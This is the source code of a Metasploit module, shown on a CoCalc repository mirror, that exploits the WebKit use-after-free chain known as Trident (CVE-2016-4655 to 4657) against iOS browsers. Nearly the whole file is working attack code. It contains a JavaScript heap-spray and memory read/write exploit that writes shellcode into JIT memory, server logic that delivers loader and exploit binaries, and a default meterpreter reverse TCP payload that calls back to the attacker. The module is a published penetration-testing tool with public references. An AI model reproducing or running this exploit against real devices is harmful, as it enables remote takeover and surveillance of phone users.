Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/apple_ios/browser/webkit_trident.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'WebKit not_number defineProperties UAF',
16
'Description' => %q{
17
This module exploits a UAF vulnerability in WebKit's JavaScriptCore library.
18
},
19
'License' => MSF_LICENSE,
20
'Author' => [
21
'qwertyoruiop', # jbme.qwertyoruiop.com
22
'siguza', # PhoenixNonce
23
'tihmstar', # PhoenixNonce
24
'benjamin-42', # Trident
25
'timwr', # metasploit integration
26
],
27
'References' => [
28
['CVE', '2016-4655'],
29
['CVE', '2016-4656'],
30
['CVE', '2016-4657'],
31
['BID', '92651'],
32
['BID', '92652'],
33
['BID', '92653'],
34
['URL', 'https://blog.lookout.com/trident-pegasus'],
35
['URL', 'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'],
36
['URL', 'https://www.blackhat.com/docs/eu-16/materials/eu-16-Bazaliy-Mobile-Espionage-in-the-Wild-Pegasus-and-Nation-State-Level-Attacks.pdf'],
37
['URL', 'https://github.com/Siguza/PhoenixNonce'],
38
['URL', 'https://jndok.github.io/2016/10/04/pegasus-writeup/'],
39
['URL', 'https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html'],
40
['URL', 'https://github.com/benjamin-42/Trident'],
41
['URL', 'http://blog.tihmstar.net/2018/01/modern-post-exploitation-techniques.html'],
42
],
43
'Arch' => ARCH_AARCH64,
44
'Platform' => 'apple_ios',
45
'DefaultTarget' => 0,
46
'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' },
47
'Targets' => [[ 'Automatic', {} ]],
48
'DisclosureDate' => '2016-08-25',
49
'Notes' => {
50
'Stability' => [ CRASH_SERVICE_DOWN ],
51
'SideEffects' => [ IOC_IN_LOGS ],
52
'Reliability' => [ UNRELIABLE_SESSION ]
53
}
54
)
55
)
56
register_options(
57
[
58
OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 8080 ]),
59
OptString.new('URIPATH', [ true, 'The URI to use for this exploit.', '/' ])
60
]
61
)
62
end
63
64
def payload_url
65
"tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
66
end
67
68
def on_request_uri(cli, request)
69
print_status("Request from #{request['User-Agent']}")
70
71
if request.uri =~ %r{/loader32$}
72
print_good('armle target is vulnerable.')
73
local_file = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4655', 'exploit32')
74
loader_data = File.read(local_file, mode: 'rb')
75
srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr)
76
config = [srvhost, srvport].pack('Nn') + payload_url
77
payload_url_index = loader_data.index('PAYLOAD_URL')
78
loader_data[payload_url_index, config.length] = config
79
send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
80
return
81
elsif request.uri =~ %r{/loader64$}
82
print_good('aarch64 target is vulnerable.')
83
local_file = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4655', 'loader')
84
loader_data = File.read(local_file, mode: 'rb')
85
send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
86
return
87
elsif request.uri =~ %r{/exploit64$}
88
local_file = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4655', 'exploit')
89
loader_data = File.read(local_file, mode: 'rb')
90
payload_url_index = loader_data.index('PAYLOAD_URL')
91
loader_data[payload_url_index, payload_url.length] = payload_url
92
send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
93
print_status("Sent exploit (#{loader_data.size} bytes)")
94
return
95
elsif request.uri =~ %r{/payload32$}
96
payload_data = MetasploitPayloads::Mettle.new('arm-iphone-darwin').to_binary :dylib_sha1
97
send_response(cli, payload_data, { 'Content-Type' => 'application/octet-stream' })
98
print_status("Sent payload (#{payload_data.size} bytes)")
99
return
100
end
101
102
html = %^
103
<html>
104
<body>
105
<script>
106
107
function load_binary_resource(url) {
108
var req = new XMLHttpRequest();
109
req.open('GET', url, false);
110
req.overrideMimeType('text/plain; charset=x-user-defined');
111
req.send(null);
112
return req.responseText;
113
}
114
115
var pressure = new Array(400);
116
var bufs = new Array(10000);
117
118
var fcp = 0;
119
var smsh = new Uint32Array(0x10);
120
121
var trycatch = "";
122
for(var z=0; z<0x4000; z++) trycatch += "try{} catch(e){}; ";
123
var fc = new Function(trycatch);
124
125
function dgc() {
126
for (var i = 0; i < pressure.length; i++) {
127
pressure[i] = new Uint32Array(0xa000);
128
}
129
for (var i = 0; i < pressure.length; i++) {
130
pressure[i] = 0;
131
}
132
}
133
134
function swag() {
135
if(bufs[0]) return;
136
137
dgc();
138
139
for (i=0; i < bufs.length; i++) {
140
bufs[i] = new Uint32Array(0x100*2)
141
for (k=0; k < bufs[i].length; )
142
{
143
bufs[i][k++] = 0x41414141;
144
bufs[i][k++] = 0xffff0000;
145
}
146
}
147
}
148
149
var mem0=0;
150
var mem1=0;
151
var mem2=0;
152
153
function read4(addr) {
154
mem0[4] = addr;
155
var ret = mem2[0];
156
mem0[4] = mem1;
157
return ret;
158
}
159
160
function write4(addr, val) {
161
mem0[4] = addr;
162
mem2[0] = val;
163
mem0[4] = mem1;
164
}
165
166
_dview = null;
167
function u2d(low, hi) {
168
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
169
_dview.setUint32(0, hi);
170
_dview.setUint32(4, low);
171
return _dview.getFloat64(0);
172
}
173
174
function go_(){
175
var arr = new Array(0x100);
176
var not_number = {};
177
not_number.toString = function() {
178
arr = null;
179
props["stale"]["value"] = null;
180
swag();
181
return 10;
182
};
183
184
smsh[0] = 0x21212121;
185
smsh[1] = 0x31313131;
186
smsh[2] = 0x41414141;
187
smsh[3] = 0x51515151;
188
smsh[4] = 0x61616161;
189
smsh[5] = 0x71717171;
190
smsh[6] = 0x81818181;
191
smsh[7] = 0x91919191;
192
193
var props = {
194
p0 : { value : 0 },
195
p1 : { value : 1 },
196
p2 : { value : 2 },
197
p3 : { value : 3 },
198
p4 : { value : 4 },
199
p5 : { value : 5 },
200
p6 : { value : 6 },
201
p7 : { value : 7 },
202
p8 : { value : 8 },
203
length : { value : not_number },
204
stale : { value : arr },
205
after : { value : 666 }
206
};
207
208
var target = [];
209
var stale = 0;
210
Object.defineProperties(target, props);
211
stale = target.stale;
212
213
if (stale.length != 0x41414141){
214
location.reload();
215
return;
216
}
217
218
var obuf = new Uint32Array(2);
219
obuf[0] = 0x41414141;
220
obuf[1] = 0xffff0000;
221
222
stale[0] = 0x12345678;
223
stale[1] = {};
224
225
for(var z=0; z<0x100; z++) fc();
226
227
for (i=0; i < bufs.length; i++) {
228
var dobreak = 0;
229
for (k=0; k < bufs[0].length; k++) {
230
if (bufs[i][k] == 0x12345678) {
231
if (bufs[i][k+1] == 0xFFFF0000) {
232
stale[0] = fc;
233
fcp = bufs[i][k];
234
stale[0] = {
235
'a': u2d(105, 0),
236
'b': u2d(0, 0),
237
'c': smsh,
238
'd': u2d(0x100, 0)
239
}
240
stale[1] = stale[0];
241
bufs[i][k] += 0x10;
242
bck = stale[0][4];
243
stale[0][4] = 0;
244
stale[0][6] = 0xffffffff;
245
mem0 = stale[0];
246
mem1 = bck;
247
mem2 = smsh;
248
bufs.push(stale);
249
if (smsh.length != 0x10) {
250
var filestream = load_binary_resource("loader64");
251
var macho = load_binary_resource("exploit64");
252
r2 = smsh[(fcp+0x18)/4];
253
r3 = smsh[(r2+0x10)/4];
254
var jitf = smsh[(r3+0x10)/4];
255
write4(jitf, 0xd28024d0); //movz x16, 0x126
256
write4(jitf + 4, 0x58000060); //ldr x0, 0x100007ee4
257
write4(jitf + 8, 0xd4001001); //svc 80
258
write4(jitf + 12, 0xd65f03c0); //ret
259
write4(jitf + 16, jitf + 0x20);
260
write4(jitf + 20, 1);
261
fc();
262
var dyncache = read4(jitf + 0x20);
263
var dyncachev = read4(jitf + 0x20);
264
var go = 1;
265
while (go) {
266
if (read4(dyncache) == 0xfeedfacf) {
267
for (i = 0; i < 0x1000 / 4; i++) {
268
if (read4(dyncache + i * 4) == 0xd && read4(dyncache + i * 4 + 1 * 4) == 0x40 && read4(dyncache + i * 4 + 2 * 4) == 0x18 && read4(dyncache + i * 4 + 11 * 4) == 0x61707369) // lulziest mach-o parser ever
269
{
270
go = 0;
271
break;
272
}
273
}
274
}
275
dyncache += 0x1000;
276
}
277
dyncache -= 0x1000;
278
var bss = [];
279
var bss_size = [];
280
for (i = 0; i < 0x1000 / 4; i++) {
281
if (read4(dyncache + i * 4) == 0x73625f5f && read4(dyncache + i * 4 + 4) == 0x73) {
282
bss.push(read4(dyncache + i * 4 + (0x20)) + dyncachev - 0x80000000);
283
bss_size.push(read4(dyncache + i * 4 + (0x28)));
284
}
285
}
286
var shc = jitf;
287
for (var i = 0; i < filestream.length;) {
288
var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
289
write4(shc, word);
290
shc += 4;
291
i += 4;
292
}
293
jitf &= ~0x3FFF;
294
jitf += 0x8000;
295
write4(shc, jitf);
296
write4(shc + 4, 1);
297
// copy macho
298
for (var i = 0; i < macho.length;i+=4) {
299
var word = (macho.charCodeAt(i) & 0xff) | ((macho.charCodeAt(i + 1) & 0xff) << 8) | ((macho.charCodeAt(i + 2) & 0xff) << 16) | ((macho.charCodeAt(i + 3) & 0xff) << 24);
300
write4(jitf+i, word);
301
}
302
for (var i = 0; i < bss.length; i++) {
303
for (k = bss_size[i] / 6; k < bss_size[i] / 4; k++) {
304
write4(bss[i] + k * 4, 0);
305
}
306
}
307
fc();
308
}
309
} else if(bufs[i][k+1] == 0xFFFFFFFF) {
310
stale[0] = fc;
311
fcp = bufs[i][k];
312
stale[0] = smsh;
313
stale[2] = {'a':u2d(0x2,0x10),'b':smsh, 'c':u2d(0,0), 'd':u2d(0,0)}
314
stale[0] = {'a':u2d(0,0x00e00600),'b':u2d(1,0x10), 'c':u2d(bufs[i][k+2*2]+0x10,0), 'd':u2d(0,0)}
315
stale[1] = stale[0];
316
bufs[i][k] += 0x10;
317
var leak = stale[0][0].charCodeAt(0);
318
leak += stale[0][1].charCodeAt(0) << 8;
319
leak += stale[0][2].charCodeAt(0) << 16;
320
leak += stale[0][3].charCodeAt(0) << 24;
321
bufs[i][k] -= 0x10;
322
stale[0] = {'a':u2d(leak,0x00602300), 'b':u2d(0,0), 'c':smsh, 'd':u2d(0,0)}
323
stale[1] = stale[0];
324
bufs[i][k] += 0x10;
325
stale[0][4] = 0;
326
stale[0][5] = 0xffffffff;
327
bufs[i][k] -= 0x10;
328
mem0 = stale[0];
329
mem2 = smsh;
330
if (smsh.length != 0x10) {
331
setTimeout(function() {
332
var filestream = load_binary_resource("loader32");
333
r2 = smsh[(fcp+0x14)/4];
334
r3 = smsh[(r2+0x10)/4];
335
shellcode = (smsh[(r3+0x14)/4]&0xfffff000)-0x10000;
336
smsh[shellcode/4] = 0;
337
shellcode += 4;
338
smsh[shellcode/4] = 0;
339
shellcode += 4;
340
smsh[shellcode/4] = 0;
341
shellcode += 4;
342
smsh[shellcode/4] = 0;
343
shellcode += 4;
344
for(var i = 0; i < filestream.length; i+=4) {
345
var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i+1) & 0xff) << 8) | ((filestream.charCodeAt(i+2) & 0xff) << 16) | ((filestream.charCodeAt(i+3) & 0xff) << 24);
346
smsh[(shellcode+i)/4] = word;
347
}
348
smsh[(fcp+0x00)/4] = fcp+4;
349
smsh[(fcp+0x04)/4] = fcp+4;
350
smsh[(fcp+0x08)/4] = shellcode+1; //PC
351
smsh[(fcp+0x30)/4] = fcp+0x30+4-0x18-0x34+0x8;
352
353
fc();
354
}, 100);
355
}
356
} else {
357
location.reload();
358
}
359
dobreak = 1;
360
break;
361
}
362
}
363
if (dobreak) break;
364
}
365
location.reload();
366
}
367
368
setTimeout(go_, 300);
369
370
371
</script>
372
</body>
373
</html>
374
^
375
send_response(cli, html, { 'Content-Type' => 'text/html' })
376
end
377
end
378
379